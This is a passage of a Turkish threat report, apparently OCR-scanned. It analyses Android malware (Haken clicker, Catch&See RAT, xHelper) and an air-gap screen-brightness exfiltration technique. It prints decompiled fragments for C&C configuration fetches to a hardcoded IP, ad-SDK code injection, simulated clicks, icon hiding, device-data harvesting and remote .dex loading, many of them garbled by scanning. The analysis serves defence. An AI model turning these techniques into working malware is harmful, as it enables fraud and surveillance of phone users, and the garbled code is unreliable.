Haken zararl yazihmi indirme isleminden sonra, uzak bir
sunucuyla iletisim kurmakta ve kullanicidan gérindrdeki
uygulamanin galismasi icin zorunlu olmayan izinler iste-
mektedir. Ornegin, kullanici cihazini her baglattiginda uy-
gulamanin arka tarafta kod calistirmasi icin kullanicidan
izin talep eder.

Zararll yazilim, sunucuyla iletisim kurup yapilandirma
yaparken uygulamanin tzerine reklam ekleyerek uygula-
manin para kazanmasini saglayan Facebook (Facebook
Reklam Merkezi) ve Google (Google AdMob) mobil hiz-
met platformlarina zararl kod parcalari yerlestirmektedir
(Bu yerlestirme igslemi Facebook ve AdMob kiitiiphane-
lerine zararl kod pargalari eklenerek ve makine kodu kul-
lanilarak yapilmaktadir). Bu sekilde, kullanicilarin Google
ve Facebook hesaplarina bagl kredi kartlarina erisebil-
mektedir. Arastirmacilara goére, bu hesaplar premium
abonelik hizmetlerini ddemek icin kullaniimaktadir'3.,

SIBER TEHDIT DURUM RAPORU
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10.1. Compass Zararl Yaziiminin incelenmesi

Haken tiklayicinin ilk giris noktasi “BaseReceiver” adli
alicidir. Bu alici, arka kapidaki uygulamanin, yani goéri-
nirde kullanici tarafindan indirilen uygulamanin iglevinin
gerektirmedigi izinler ister.

<receiver android:name="com. hake ompass . BaseRecelver ">

<intent-filter-
<acbion androeid:name="and:
<action android:name="o
=action android:name="x
<acbion android:name="umndr ol
<action android:name="
<action android:name="7
<aclion android:name="x
<action android:name-"
=action android:name="andro

</intenl-Tiller=

<intent filters
=action android:name="7
cacbion android:name-"s
<action android:name-":
<action android:name="
aclion android:name="
<action android:name=" oid. 1
=data android:scheme="parkage™ /=

</intenl-Filler=

</receivers

Sekil 13: Compass uygulamasinin izinleri.

Compass uygulamasi icin;

Arka kapi uygulamasi pusula hizmeti saglayan bir pusu-
la uygulamasi iken uygulamanin islevinin gerektirmedigi
izinlere 6rnek olarak, “BOOT_COMPLETED” davranigi
icin cihazin her bagtan bagslatilisinda zararlinin arka ta-
rafta calistirdigi kod igin aldidi izin verilebilir.

JHIEnw *v3; f/

nt wi; ff
int w8; /f
= [t ")} al=svEtable->FindClass} |
pogle/androld/gms/ intarnal /JRandlax”) |
BT tastcall *) (JRIEw *, int, conat char » “|yvi-svftable->GetStaticeshodID] |

rodd/content /Context; j¥°);

L
return ([Lnt Jui=ryftable=>Cal 15t atloVoidMethad) [+, ' v v}

Sekil 14: Startticks metodu.

“BaseReceiver”, yerel bir “kagu-lib” kitiphanesi yiukler
ve bu kitliphaneden “startTicks” metodunu cagirir. Bu
metot ise incelemeden sonra “com / google / android /
gms/ internal / JHandler” den “clm” metodunu ¢agirirt™.,

BaseReciver sinifi iki isci thread ve bir zamanlayicidan
olusur. Bir thread C&C sunucusuyla yeni bir yapilandir-
ma indirmek ve islemek icin iletisim kurar, diger thread
ise zamanlayici tarafindan tetiklenir, gereksinimleri kont-
rol eder ve Google’in AdMob ve Facebook gibi iyi bili-
nen Ad-SDK’larin Reklamla ilgili Etkinlik siniflarina (Ad-
related Activity classes) kod parcgalar enjekte eder.

if(vi 2.tostring() .equals(*")} {
vl 2.append{"http://13.2508.34

1.16/api v5/facebook_api.php”):

}
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private boolean processJson(lontext argd, Str

) g args) {
iflarg5 !'= null & !"".equalsiarg5)) {

try {
150M0b jre | w5 = new 1S0HAT aylargS).get1soNobject (@) ;
if{vs == null) {
return @;
1
ifl({v5.has("apve")) && ¥5.getString{“apve”) !'= mull) {
Spt.putStringlargd, "apve", "6%uFFFD\uFFFD");

ifi{v5_has{"uLvk")) && v5.getString{“uLvk") != mull) {
Spf.putStringlargd. "ulvK", vS.getString("ulvK"}];

if{iv5.has("XIGH" )] && v5.gqctString("XIGH") !'= null) {
Spl.pulStringlargd, "XTI8H", vS.gelSiring("XTaH")});
I

ifivs.has("omMTd")) {
spf.putint{argd, "oMTd”, vb.getInt("gMTd"));
¥

if(vS_has{"GuMM”}) {

Spt.putIntiargd. "GuMM", v5.getInt("GuMM"}):

if{vs.has{"BFin"}) {

Spf.putTntlargd, “BFin", v5.getTnt("BFin"});

if{v5.has("Goue")) {

Sekil 16: Yapilandirma iglemleri.

private void startActipityAd(( argd) {
Cla vl;
switchinew Random().nextInt(4}} {
case 1: {
v8 = FacebookAdInternal.class;
break ;
¥
case 2: {
vl « FacebhookAdPlaces.class;
break:
case 3: (
v@ = AdmobAdwidget.class;
break;

)
default: {
vl = AdmobAdView.class;
break;
}
}

L L ¥l = new entiarg3d, vol;
vl,addFlags (0x8000) ;

vwl.addFlags (8x10088000);
argi.startActivity(vl);

}

publie Status dewWorki) {
.d{"workManager"”, “Run main pr
if{(this.isRequirements{this.get

me")
}) &L IMainActivity.isdpplaunched) {
this. startActivityAdithis. getCrx());

¥

return Status.getSucessi];

}
Sekil 17: Facebook ve Google kod pargasi eklenmesi.

Tiklama islevi, Ad-SDK’nin “onCreate” iglevine enjekte
edilen kodda uygulanir; bu durumda, iglev “yzt.sta” me-
toduyla eklenmisgtir.

protected void onCreate(Bundle arg2) {
super.onCreate(arg?) ;
yzt.stal((Activity)this)); // clickOnad
this.a = bod.b().a({{Activity)this)};

Sekil 18: Enjekte edilmis kodu ¢agirma.

Chap”) + "&b=" & "EzLjILMC4zNC4xNiShcGlfdjUvZmFjzWivbztfyXep");

vl 2.append("7n=" + w@.getPackageName() + " 4+ Spf.getStringlve,
vl 2 = new StringBuilder();
try {
vl 3 = new URL(vl 2.toStringl).replacel 8"} ) .openConnectiond };
!

Sekil 15: Yapilandirma igin C&C ile iletisim kurmak.

SIBER TEHDIT DURUM RAPORU
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“MotionEvent”i kullanici tiklamalarini taklit etmek icin
kullanirken bu fonksiyonlar yansima yoluyla ¢agrilir.

publis woid clichidnk argld. int arg2ll |
ClickClass vl = this

Lang w2
long wi =
try |
motionEvent = tarame
if(vl.a == null) {
return;

ifimotionEvent == null) {
eturn;

obtain_sethod = motionEvent .getHethod | “abtain TYPE, JTYPE, TYPE,
setSource method = motionEvent.gethethodi TYme):

L. waluedfiv2),
setSoures mathod valuaDf {01002 ) ) ;

null valuedf (v2),
caf (ox1002) )
n. getHethod (" send

TYeE)
cvaluedf (vd),

.valuedf i8]

valueofiva), valueOf{1),

. mationEvent);

nterSync, v4, v2_1) {

Sekil 19: Yansima yoluyla “MotionEvent”in sagladiklariyla Ad-
SDK’dan alinan reklamlara tiklamak.

Arastirmacilarin belirttigine goére, Haken Clicker Zararli
yazihminin tespit edilmesinin ardindan Google Play
Store platformundan bu zararli yazihmdan etkilenen bi-
tin uygulamalar kaldinlmigtir.

Son olarak arastirmacilar, kullanicilarin uygulamalari in-
dirirken her zaman dikkatli olmalari gerektigi ve uygula-
ma yorumlarinin kontrol edilmesi konusunda uyarmak-
tadir. Ornegin, belirtilen sekiz uygulamanin Google Play
platformundaki indirme sayfalarinin altinda bulunan yo-
rumlarina bakilarak, bu uygulamalarin stipheli davranan
ve potansiyel indiriciler i¢in kirmizi bayrak goérevi gbren
uygulamalar oldugu anlasilabilir2.

9 Jacob Zollinger Ib
-

Ay Minh Tan Nguyen
o . i
~ LB B B B

O 4
Federico Sanson

o Ib
w
Charl Mocke

o >
*

READ ALL REVIEWS

Sekil 20: Uygulama yorumlari.
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11. CATCH&SEE ZARARLI YAZILIM ANALIZI

Catch&See uygulamasi; “GrixyApp” ve “ZatuApp” ile
birlikte gelistiriimis bir MRAT’dir (Mobile Remote Access
Trojan). Zararl uygulama, oltalama saldirn teknigiyle dagi-
tilmakta ve cesitli temalarda kurbanlara génderilen bag-
lanti adresleriyle uygulamanin indirilmesi saglanmaktadir
18, Uygulama yuklenip calistinldiktan sonra kurban ci-
haz Uzerinde calisamadigini belirten sahte bir hata me-
sajl vererek kendini silmektedir. Aslinda zararll uygulama
sadece kisayolunu gizlemekte ve arka planda c¢alisma-
ya devam etmektedir. Uygulama, kurban cihazdan bilgi
toplayabilmekte ve belirtilen bir URL’den .dex uzantili bir
dosya indirerek bu dosyay! kullanabilmektedir.

incelenen uygulamaya ait SHA-256 hash bilgisi asagi-
daki gibidir:

D095f39823656a99b7bd7d9ad132d5aabbf59862a-
86253ce067329a491590d13

incelenen dokiimanin VirusTotal sonuclar asagidaki gi-
bidir:

D

L

Sekil 21: Zararli uygulamanin Virustotal sonuglari*®.

Zararl uygulama yUklendikten sonra Sekil 22’de gérilen
ikonuyla uygulamalar arasinda yerini almaktadur.

WIDGETS

Sekil 22: Uygulamanin ikonu.

SIBER TEHDIT DURUM RAPORU
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Zararli uygulama Sekil 23’te goérildigu tzere; kisa mesaj
okuma ve yazma, Wi-Fi durumuna erigim, arama ge¢cmi-
sine erisim, dis bellege yazma ve okuma, kamera ve ses
kaydi erigimi vb. izinler almaktadrr.

<uses-permission android:names"android. per
<uses-permission androdd:name="androld. permis
<USES] |'Il"l1l ission andmtd name= mdmlrl p« TS

<USES-Perm <Im1
s-permission droid

<uses-permission .md.mxd ||.|me—'

<uses-p "missiun = 'andmu].pe( jss
s-permission android =*android. per

<uses-permission android "android. per 1
<uses-permission androdd “android. permission, WRIT!
<uses-permission androld:name="androld permission. READ

_:
ERNAL_STORAGE™/>
NAL STORAGE"/>

<uses-permission “android. permission INTERNET™/>

<uses-permission androld:name="androld permission ACCESS_NETWORK_STATE"/>
s-permission droid “android.permission. RECEIVE BOOT COMPLETEDR"f=

CUSEE-Perm lsslun droid ="android. permission WAKE LOCEK" >

<uses-perm lsslun droid “android. permission. PR ESS OUTGOING CALLS /=

<uses-permission android "androld. per SCOUNTS >

<uses-permission android:name="android. permi ALENDAR"/>
<uses-permission androld:name="androld.permission. ALL LOG" >
<uses-permission androld:name="android. pe on READ HISTORY BOOKMARKS' =
<N F 'ml‘.ﬁlnn droid “androld. [\E‘IT]‘H‘nOI\ READ USER DICTIONARY"/>
<SPS pP"I sion 1m|rm|| name="android, |)6-I"N‘I$ﬁ](rll RECEIVE_SMS"/>=

mission droi “android. permission RECEIVE_ MM S/
USEE-] penu ission android:name="android. permission RECEIVE WAP PUSH"/>

Sekil 23: Uygulamanin kullandig izinler.

Uygulama galistinldiktan sonra kurban cihazin uygulama
strimunl desteklemedigini ve uygulamanin kaldirilaca-
gini belirten sahte bir hata mesaji vererek kendisini ka-
patmaktadir.

Your device doesnt support this version of

Catch K See app The app will be uninstalled
Flease install version 2.0

Sekil 24: Uygulamanin sahte hata mesaj.

Zararli yaziim, hata mesaji verdikten sonra kendi-
sini kapatmakla birlikte kisayolunu gizlemektedir.
Kullaniclyl, uygulamanin kaldirildigina ikna etmek icin
UninstallActivity sinifinda yer alan lambda$onCrea-
te$0$UninstallActivity() metoduyla ekrana uygulamanin
kaldirldigina dair bir mesaj aktarmaktadir.

public static vodd hideappShortcutistring varo) {
try {
PackageManager varl = App.getContext().getPackageManager():
ComponentName var2 - mew ComponentMame (App.getContext().getPackageNanme |
varl. fet(.onponcnrl:nahledbt“tt:lnqlvarz 2, 1);
} catch (Exception var3) {
ThrowableFslension . printSlackTrace (var3):

1. varQ};

Sekil 25: Uygulamanin ikonunu saklamasi.
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final void lambdafonCreatefOfUninstallActivity() {
Toast.makeText(this, "Uninstall finished.", 1).show();
this. finish();

Sekil 26: Uygulamanin kendisini silindi olarak géstermesi.

Uygulama, calistirildiktan sonra kurban cihazla ilgili tele-
fon bilgileri, mevcut uygulamalar ve depolama alani bil-
gileri gibi verileri toplamaktadir. Cihaz bilgileri, yiklenen
uygulamalar ve depolama bilgileri Devicelnfo sinifindaki
collectDevicelnfo, collectinstalledPackages ve collec-
tinternalStoragelnfo metotlariyla toplanmaktadir.

10 varé = varld.packageName;
String var? = (String)varl.getApplicationLabel(varld);
varg = new JSOMObject();
vars.put (PACKAGE, vare);
var8.put (LABEL, var7);

Sekil 27: Cihazdaki uygulamalarla ilgili bigi toplanmasi.

var2 = varl.getBlockSizelLong();
vard = varl.getBlockCountLong();
vargé = varl,getAvailableBlocksLong() * var2;

var2 = vard * yar2 - vareg;

Sekil 28: Cihazdaki depolama alaniyla ilgili bilgi toplanmasi.

varl.put (DEVICE ID, DeviceID.getID()):

varl.put (TIMEZONE, TimeZone.getDefault().getID());
varl.put (BOARD, Build.BOARD);

varl.put (BOOTLOADER, Build.BOOTLOADER);
varl.put(CPU_ABI, Build.CPU ABI);
varl.put(CPU_ABI2, Build.CPU ABIZ2):
varl.put(DISPLAY, Build.DISPLAY);

varl.put (HARDNARE, Build.HARDWARE);
varl.put(HOST, Build.HOST):

varl.put(ID, Build.ID):

varl.put (MANUFACTURER, Build.MANUFACTURER);
varl.put(MODEL, Build.MODEL);

varl.put(PRODUCT, Build.PRODUCT);

varl.put (SERIAL, Build.SERIAL);

varl.put(TYPE, Build.TYPE];

varl.put (SDK_INT, VERSION.SDK_INT);

varl.put (RELEASE, VERSION.RELEASE):

varl. put (PHONE_NUMBER. this.getPhoneNumber(this.context)):;
varl.put (IMSI, this.getIMSI(this.context]);

Sekil 29: Kurban cihazla ilgili bilgi toplanmasi.

Catch&See

SERVICES

i+ MattService

STOP

Sekil 30: Uygulama calistirildiktan sonra ¢alisan servisler.
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Zararll yazilm arka planda galisirken MqttService ve
TmpConn isimli iki farkl servis calistirmaktadir. Bu ser-
visler sayesinde uygulamaya mesaj araciligiyla komutlar
gbnderilebilmektedir.

Sekil 31°de gorildigu tzere uygulama, FileDownloader
sinifi altindaki download metodu kapsamindaki down-
loadFile metodunu ¢agirarak mesaj yoluyla gdnderilen
URL Uzerinden .dex uzantili dosyayi indirip daha sonra
calistirabilmektedir.

private void download() {
if (this.url.contains(GConfig.getServerDomain())] {
CFL] s File (App.getContext().getFilesDir(].getPath(});
' is.url, varl.getAbsolutePath())) {

= this.url.substring(this.url.lastIndex0f(47) + 1);

Sekil 31: Dosyanin indirilmesi.

Uygulama, BootCompletedReceiver sinifinin altindaki
onReceive metoduyla cihaz yeniden baslatiidiginda fa-
aliyetlerine devam edebilmektedir.

public void onReceive(Context varl, Intent var2) {
if (var2 != mll && var2.getAction(} != null

it (var2.getActioni).equals("androird. 1nter
Main.setTransparentActivityAlara():

varl,startService (mew Intent{varl, MainServ.class));

nt.action.BO0

Sekil 32: Uygulamanin kendini yeniden baglatmasi.

Catch&See, GrixyApp ve ZatuApp zararli yazilimlarin-
da kullanilan teknikler, gegmiste APT-C-23 gruplarn ta-
rafindan kullanilan tekniklerle benzerlik gdstermektedir.
Onceki zararli yaziimlarda oldugu gibi bu uygulamalarda
da mesajlasma uygulamasi olarak Android igin “backdo-
or” gelistirildigi gézlemlenmistir. Her bir zararli yazihmin
indirilebilecegi kendilerine ait internet siteleri bulunmak-
tadir ve bu sitelerin kaynak kodunda Unlu kigilere ait atif-
lar yapilmaktadir{®.

Bu tir tehditleri dnlemek icin kullanicilar bilinglenmeli
ve uygulama kaynaginin glvenilir oldugunu distnseler
bile kendilerini korumak icin mobil gtvenlik dnlemleri
almalidir.

12. xHELPER ZARARLI YAZILIM ANALiZzi

Android Trojan xHelper zararli yazihmi, ilk olarak 2019
yill bahar aylarinda Google Play Store platformundaki
uygulamalarda gérilmis ama birka¢ ay sonra ortadan
kaybolmustur. 2019 Mayis ayinda ¢ikan Malwarebytes
Lab Siber Sug Taktikleri ve Teknikleri raporuna gére, kisa
suire 6nce xHelper zararl yazihmi yeniden ortaya ¢ikarak
mobil cihazlara bulagmigtir. Aragtirmacilar, zararl yazi-
min kaynaginin Google Play Store olabilecegini belirt-
mistir. Yazilimin tekrar ortaya ¢ikmasiyla, kurban cihaz
Uzerinden kaldiriimasi ¢ok zor olan daha gelismis bir ya-
zilma dénustigu ve glinde en az 100 kullaniciyi etkiledi-
gi ortaya gikmigtir™”1,

20
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xHelper zararli yazilminin 45.000’den fazla mobil ciha-
za bulastigi ve daha ¢ok Hindistan, ABD ve Rusya’daki
kullanicilar hedefledigi tespit edilmistir. xHelper yazilimi,
saldirganlara arka kapi saglamak icin tasarlanmig bir tur
yazihm damlaligidir (Dropper). Saldirganlar bu yazilimla
mobil cihaza baska uygulamalar ytkleyebilir, kisisel ve-
rilere sizabilir hatta cihazin kontrollini ele gegirebilirlel.

xHelper, daha cok korsan oyunlarda, filmlerde veya
Trojan tehditlerini gizlemek icin olusturulan yazilimlarda
bulunan bir zararlidir. Bununla birlikte kurban cihazda
hata mesajlarina, ekran donmalarina, isletim sistemi ¢6-
kislne ve beklenmedik zamanlarda cihazin bastan bas-
latiimasina neden olmaktadiri'®.

Bu kétd amacl yazilim, kullaniciya bildirimde bulunma-
dan kendisini kullanicinin Android cihazina yukleyebilir,
ardindan aldigi uzaktan komutlarla kurban mobil cihaza
ek kétt amacl yaziimlar indirebilir.

Mobil cihazinda xHelper zararli yazihmi bulunan bir kul-
lanicinin, piyasada bulunan bir Anti-Malware yazilimini
kullanarak zararliyr mobil cihazindan kaldirmaya calis-
masi ve basarisiz olmasinin ardindan Ureticiye bildirdigi
raporda sunlar vurgulaniyor:

Kullanici, ilgili uygulama araciliiyla iki xHelper ve bir
Truva ati ajanini Android cihazindan kaldirabildi. Ancak
XHelper uygulamasinin, fabrika ayarlarina sifirlanan ciha-
za yaklasik bir saatten daha kisa bir stre sonra kullani-
cidan habersiz bir sekilde tekrar yiklendigi tespit edildi.
Uretici firma, xHelper igin kurulum kaynaginin Google
Play oldugunu ve Google Play hizmeti devre disi birakildi-
ginda, k6t amaglh yazilimin yeniden bulagsmasinin durdu-
gunu tespit etmistir. Firma, Google Play’in kendisine kotl
amagcli yazihm bulasmadigini ancak platformun xHelper’in
yeniden yUklenmesini tetikledigini belirledi. Ayrica firma,
mobil cihazin dosyalarinda gizli bir trojan damlaligi gérevi
goren bir Android uygulama paketi kegfetti??,

Fabrika ayarlarina dénildikten sonra bile APK, dizinler
ve dosyalar, uygulamalarin aksine Android cihazda kalrr.
Bu nedenle zararli yaziim fabrika ayarlarina sifirladiktan
sonra bile kurban cihaza kendini yeniden yUkleyebilmek-
tedir?1,

Zararlinin Sha256 bilgisi ve VirusTotal raporu asagidaki
gibidir:

14be5d5a6fa9a97a99915b61a1227f38da8fefdb-
1641fa7343e5a449fd9f8¢c18

Zararll yazihm kurban cihazdan Sekil 34’te gorildigu
Uzere kisayol yUkleme ve kaldirma, veri okuma ve yaz-
ma, internet erisimi, Wi-Fi durumuna erisim vb. izinler
almaktadir. Uygulama calistirildi§i anda Sekil 35°te go-
raldigu Uzere “Foreground Service” olarak calismaya
baslamakta, servis durdugunda ise kendini yeniden bas-
latmaktadir.
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Sekil 33: Zararl yaziimin VirusTotal bilgisif?2.

<uses-permission androld:name="sndroid permission READ PHONE STATE'f>

<nses-permission android:name=-android permission INTERNET >

<isis-permission androld:name="andrald pormissian AC NETWORK STATE®/>
<uses-permission androld names “android permission A WIFI_STATE />

<uses-permission android:name = "androld permission A COARSE LOCATION >
<uses-permission android:name = “android permission ACCESS FINE LOCATION /=
<uses-permission android:name="sndroid.permission ACCESS LOCATION EXTRA_COMMANDS™/>
<uses-permission androld:name="android permission WRITE EXTERNAL STORAGE >
<uses-parmission android:name="android permission READ EXTERNAL STORAGE"/=
<uses.permission android:names="android parmission CHANGE WIFI STATE"/>
<uses-permission android:name="android permission FORECROUND SERVICE>
<uses-permission androld:name="android permission SYSTEM ALERT WINDOW™ >

<uses.] ission id "com android launcher permission INSTALL SHORTCUT>
LUSES] issi droid meom . android launcher permi

I Ission android "android permission GET TAS
<uses-permission androld:name="android permission. WAK DK

<1 ™ sk drold ="android per RECEIVE BOOT COMPLETED" >

ININSTALL SHORTCUT"/>

Sekil 34: Zararl yazilimin kullandigi izinler.

public void onCreate(} {
super.onCreate();

try {

if (VORSION. SDK_INT < 18} {

Notification varl - new Notificatiom();
this. startForeground (1876, varl):

} else if (VFRSTON.SDK_TNT = 25) {
Builder var3 - new Builderithis);
var3.setsmalllcon(2130837504);
vard.setConlentTitle(™ “):
vard.setContentText(" "):
this.starthoreqround (18/6, vard. build{));

Intent vard = new Intent(this, SubService class):
this.startService(vard);

}
} catch (Throwable var2) {

MainApplicatien.mainservice isrunning - true;
}

Sekil 35: Uygulamanin “Foreground service” olarak baglatiimasi.

public void onDestroy() {
super.onDestroy();

try {
it (VERSION.SDK INT >- 18 &L VERSION.SDK INT < 25) {

{{MotificationManagerithis. getSystemService("notification”}).cancel{187a);

1

+Maindpplication service_ol:
it (MainApplication.service ct < 10} [

Intent varl = new Intent(this getApplicationContext(). Mainsarvice.class):

this.startService (varl):

} catch (Throwsble vard) {
try {

MainApplication. mainservice 1srunning = talse;
} vatch (Throwsble var2) {

Sekil 36: Servisin durdugunda yeniden baslatiimasi.
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Uygulama c¢alistirildiktan sonra MainService i¢inde bulu-
nan loadjar() fonksiyonuyla firehelper isimli bir jar dosya-
sI olusturmaktadir.

Zararli yazihm, com.mufc.umbtts altinda bulunan ve tes-
pit edilemeyen bir APK sayesinde cihaz fabrika ayarla-
rina doénse bile kendini yeniden cihaza yukleyebilmek-
tedir. Asagida zararli yazihm cihaza tekrar yiklense bile
cihazdan tamamen kaldinimasi icin uygulanabilecek
adimlar listelenmistir:

Google Play’den dosya ve klastér arama Ozellikleri
olan bir dosya yo6neticisi indirilir.

Zararlinin, telefona yeniden bulagsmasini dnlemek igin
Google Play gecici olarak devre digi birakilir.

xHelper ve diger zararli yazilimlarin silinmesi i¢in an-
tivirus programi ¢alistirilir.

Dosya yoneticisi acilir ve com.mufc ile baglayan de-
polama kismi aratilir.

Eder com.mufc ile baglayan bir depolama alani bu-
lunduysa, dosyanin son degistiriime tarihi not alinir.

com.mufc ile baglayan ve bu dosyalarin son degis-
tirilme tarihi ile degistiriime tarihine sahip olan (in-
dirilenler klaséri gibi ana klasdrler hari¢) dosyalarin
hepsi silinir.

Google Play yeniden etkinlestirilir??,

Bazi mobil guvenlik uygulamalari xHelper zararli uygu-
lamalarini “Android.Malapp” bashgi altinda tespit ede-
bilmektedir. Kullanicilar ise bu zararlidan korunmak igin:

Yazilim strimlerini gtincel tutmali,
Bilinmeyen sitelerden uygulama indirmemeli,

Uygulamalar tarafinda istenilen izinleri dikkatlice oku-
mall,

Mobil cihazlarini ve kigisel verilerini korumak icin ilgili
zararl uygulamalari tespit edebilecek mobil givenlik
uygulamasi kullanmalilar.

1 ¥ar7 = varl.append(var0, getFilesDir().getAbsolutePath()).append(~ /firehelper.jar”).toString();

copyassetsFlleTosn_f.content. "firehelper.jar™, var?);

Sekil 37: firehelper isimli jar dosyasinin olusturulmasi.
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Raporumuzun bu béliminde teknolojik gelismelerin si-
ber glvenlik Gzerindeki etkileri atak ve savunma bagla-
minda incelenmekte ve kiresel capta dikkat ¢ceken ge-
lismeler analiz edilmektedir.

13. KAPALI AG SISTEMLERINDE
KULLANILAN MONITORLERIN EKRAN
PARLAKLIGINDAN VERI SIZINTISI

Saldiri tespit sistemleri (IDS), glivenlik duvarlar ve antivi-
rs programlari gibi gtivenlik Grinleri her gegen giin ge-
lismesine ragmen, saldirganlar da hedef sistemlerde veri
sizintisi olusturabilecek yeni atak ylUzeyleri ve zafiyetler
bulmaya devam etmektedir. Motivasyonu yiksek saldir-
ganlar karmagik atak vektorleri kullanarak, internet erigi-
mi tamamen kapali olan aglari bile ele gegirebilmektedir.
Veri sizintisi olusturmak igin son yillarda birgcok yéntem
bulunmasina ragmen, internet erisimi veya fiziksel eri-
simi olmayan sistemlerden veri sizintisi halen sicak ko-
nulardan biri. Elektromanyetik, akustik, termal ve optik
ydntemlerle gizli sizinti kanallarn son yirmi senedir ince-
lenen konular, fakat bu metotlarin cogu insan gorus algi-
slyla saptanabilen ve bu sebepten de insanlarin fiziksel
olarak bulunmadidi ortamlarda kullanilacagi varsayilarak
gelistirilmis metotlardir.

Bir insanin rahatca gérebilecegi isiklarla standart bir LCD
ekrana yansitilarak veri sizintisi saglamaya calismak, ra-
hatca fark edilebilecegi icin aslinda ¢gogu zaman gerek-
sizdir. Bu calismada, insan gérisiyle algilanamayacak
elektromanyetik radyasyon araliginda ekran goriintisu
saglayabilen gizli optik kanal kullanan veri sizintisi anla-
tilacaktir. Burada kullanilan gizli kanallar, hassas verilerin
gortinmesini engellemek igin insanin goérsel isik algilama
limitlerini istismar etmekte ve LCD ekran Uizerinde giplak
gozle gortlmesini engellemektedir?3,

13.1. Konu ile iligkili Calismalar

Son yirmi yildir kapali ag sistemlerinde gizli haberlesme
metotlariyla veri sizintisi arastinimaktadir. Yapilan ¢alisma-
lara ait ilk drneklerden biri olarak ismini elektromanyetik
sinyal yayan cihazlarin givenliginin saglanmasi icin gelig-
tirilmis bir standart olan TEMPEST (Telecommunications
Electronics Material Protected from Emanating Spurious
Transmissions)’'ten alan “TEMPEST saldinsi” verilebilir.
1998 yilinda yazilim temelli olarak gelistirilen bu saldir-
da amag, LCD ekrandan yayilan elektromanyetik yayilimi
kullanarak sistemi ele gegirmeye calismaktrr. ikinci sal-
din yéntemi AirHopper’daki amag ise, FM yayin bantla-
rn icindeki radyo frekanslar (87,5-108,0 MHz) araciligiy-
la izole edilmis aglarda veri sizintisi saglamaktir. Bunlar
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disinda hoparldrler, mikrofonlar, akustik veri sizintilari igin
Fansmitter’lar, bilgisayarlarin icinde bulunan termal sen-
sorlerle kapall aglarda veri sizintisi gergeklestirilmigtir.
Fakat bu calismada asil amag¢ yukarda da belirtildigi gibi
insanlarin masa basinda bilgisayar takip edip etmeme-
sinden bagimsiz olarak saldirganin hassas verilere her an
ulasabilecegi guclu bir yéntemi anlatmaktir.

13.2. Saldiri Modeli

Saldinnin ilk asamasinda, hedef aga/makineye zarar-
Il yazilm bulastinilir. ikinci asamada enjekte edilen bu
zararl bilgisayardan hassas verileri toplar ve topladigi
bu verileri byte serisi (bitstream) olarak kodlar, bu sira-
da ekran parlakliginda insanlar tarafindan gérilemeyen
kiuglUk degisiklikler uygulayarak ekranda modile eder.
Saldinnin Ug¢lincl asamasinda, ele gegirilen bilgisaya-
rn géruntlsini kaydeden bir kamera gerekmektedir.
Saldirgan kaydedilmis olan bu video akigi Uzerinde bitst-
ream olarak kaydedilen hassas veriyi gorintl isleme
teknikleri kullanarak anlamli hale dénastardr.

13.3. Kullanilan Teknik Altyapi

D2C (display to camera) haberlesmede ilgi ceken gtincel
basliklardan biridir. Bu haberlesmede, kamera hem goérin-
tU 6gelerine erismek (gorsel algilama) hem de insan tara-
findan algilanamayan fakat makine tarafindan yorumlana-
bilen verileri yakalamak icin kullanilir. D2C’nin ana iglevi,
multimedya servisleri icin megsru gizli kanallar saglamaktir.
D2C calisma mantigi Sekil 38’deki gibi gorsellestirilebilir:

" Pk
" S

1 R

Gorsel

Algilama /\/A\]

Sekil 38: D2C haberlesme prensibinin gorsellestiriimesi: Ayni
ekran gorintisi kesiti icin hem yiiksek kaliteli gérsel olarak algi-
lanabilir gérinti verisi hem de algilanamayan gizli mesaji vardir.

Kamera
tabanh
isleme

D2C haberlesme uygulanirken asil hedef gérintiide mi-
nimum degisiklikle insan g&zinin degisiklik olmamis
gibi algilamasini saglamaktir. Ayrica D2C; goérintideki
aci degisiklikleri, 6lgeklenebilirlik ve optik bozulmalara
karsi dayanikli ve tolere edebilir olmalidir.

13.4. Veri iletimi

LCD ekranlarda her piksel, gerekli renk tonunu tam ola-
rak Uretmek icin RGB renklerinin bir kombinasyonunu
gOstererek tim parcalar bir araya geldiginde aslinda

SIBER TEHDIT DURUM RAPORU



OCAK-MART 2020

Goranta
matrisi

Piksel

(a)

tabanh
alica

Sekil 39: (a) Sinyal, RGB bilesenlerinden herhangi birinin algilana-
mayan degisiklikleriyle modiile edilir. Ornek olarak yukaridaki se-
kilde, kirmizi renkteki ufak degisiklikler modilasyon igin kullanilir
ve (b) Kamera tabanli alici sinyal tespiti i¢in kullanilir.

ekrandaki goruintu elde edilmis olur. Bu kisim ekran gos-
teriminin fiziksel anlamda nasil saglandiginin anlasiimasi
icin Sekil 39’da oldugu gibi gdrsellestirilebilir:

Sekil 39°daki “b” kisminda gorildigu Gzere kirmizi renk-
teki ufak degisiklikler kamera tabanh alici tarafindan
okunabilmektedir. Bu degisiklikler her pikselde goérece
cok ufak sekilde yapilir ve degisiklik ekranin yenileme
oranina gore ¢ok hizl olur. Kullanici anlik bu degisiklikleri
ekranda yakalayamaz.

Veri sizintisini gergeklestirmek icin kullanilan zararl ya-
zilm gorintl parlakligina veriye ait bilgileri kodlayan
cihaz sUrtcUsu Uzerinden bu operasyonu gerceklestirir.
Cihaz surticusu ekran arabellegine gidecek olan gorintu
verilerini almak igin araya girerek gerekli veri islemesini
yapip ekran arabellegine veriye ait kodlanmig byte seri-
sini yollar. Bu degisiklik ekran arabellegine iletilecek tim
piksellerin RGB bilesenlerinde uygulanir ve daha sonra
video karta iletilir. illgili mimari Sekil 40°da gorsellestiril-
mistir:

B |, [Uygulama
.‘ Y8 !
ST
Goruntd parlakik
- B
o |
i b X ]
(] aFCD Monitér |

~101011100..

Sekil 40: Zararli yazilmin mimarisi: Zararli yaziim islemini cihaz
sirlclslinden video karta aktarilacak olan veride modifikasyon-
lar yaparak gerceklestirmektedir. Bu degisikligi sadece kamera
tabanl alicilar okuyabilmektedir.
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13.5. Alinabilecek Onlemler

Calismada anlatilan optik saldiriya karsi alinabilecek
tedbirler, 6nleme ve tespit amach olarak iki sinifa ayri-
labilir. Onleyici tedbirler, hassas bilgisayarlarin yalnizca
yetkili personelin erisebilecedi giivenli alanlara yerles-
tirilerek erisilebilirliklerini kisitlamay! amaclayan politi-
kalari icerir. Ayrica, belirli kisith alanlarin cevresinde her
tarl kamera (akill telefon ve giyilebilir kameralar dahil)
yasaklanabilir. Ornek olarak kontrollii odalar verilebilir.
Bu sayede ayrica glvenlik kamerasina bulasabilecek
k6ti amach yazilimin 6énine gecilmis olur. Bir diger
teknolojik énlem, ekrani polarize bir filmle kaplatmak-
tir. Kullanicilar net bir gértsle ekranlarina bakabilirken,
